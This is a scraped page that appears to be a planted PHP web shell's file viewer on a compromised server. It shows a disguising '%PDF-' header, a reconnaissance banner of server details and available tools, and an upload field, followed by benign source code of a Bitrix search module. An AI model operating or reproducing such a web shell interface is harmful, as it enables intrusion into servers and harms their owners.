%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 13.58.26.185 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/arturgolubev.smartsearch/lib/ |
Upload File : |
<? namespace Arturgolubev\Smartsearch; use \Arturgolubev\Smartsearch\Unitools as UTools; class Tools { const MODULE_ID = 'arturgolubev.smartsearch'; var $MODULE_ID = 'arturgolubev.smartsearch'; // for dresscode templates. Add sku ids for correct view static function dwAddSkuId($ids = array()){ if(!empty($ids) && is_array($ids) && \CModule::IncludeModule("catalog")){ $skuList = \CCatalogSKU::getOffersList($ids, 0, array("ACTIVE"=>"Y"), array("ID"), array()); foreach($skuList as $k=>$v){ if(is_array($v) && !empty($v)) $ids = array_merge($ids, array_keys($v)); } } return array_unique($ids); } // Get ar product ids, by mixed sku+product ids static function getProductIdByMixed($ids = array()){ $result = array(); if(!empty($ids) && is_array($ids) && \CModule::IncludeModule("catalog")){ foreach($ids as $id){ $arRs = \CCatalogSku::GetProductInfo($id); if(is_array($arRs) && !empty($arRs)){ $result[] = $arRs["ID"]; }else{ $result[] = $id; } } } return array_unique($result); } static function getMinWordLenght(){ $min_length = IntVal(UTools::getSetting("min_length")); if($min_length <= 0) $min_length = 3; return $min_length; } static function getReplaceParams(){ return array("replace_space" => "", "replace_other" => ""); } static function dbQuery($q){ global $DB; return $DB->Query($q); } static function array_md5($array) { if(is_array($array) && !empty($array)){ ksort($array); $s = ''; foreach($array as $k=>$v){ $s .= $k.'_'.$v.'-'; } return md5($s); } return 0; } }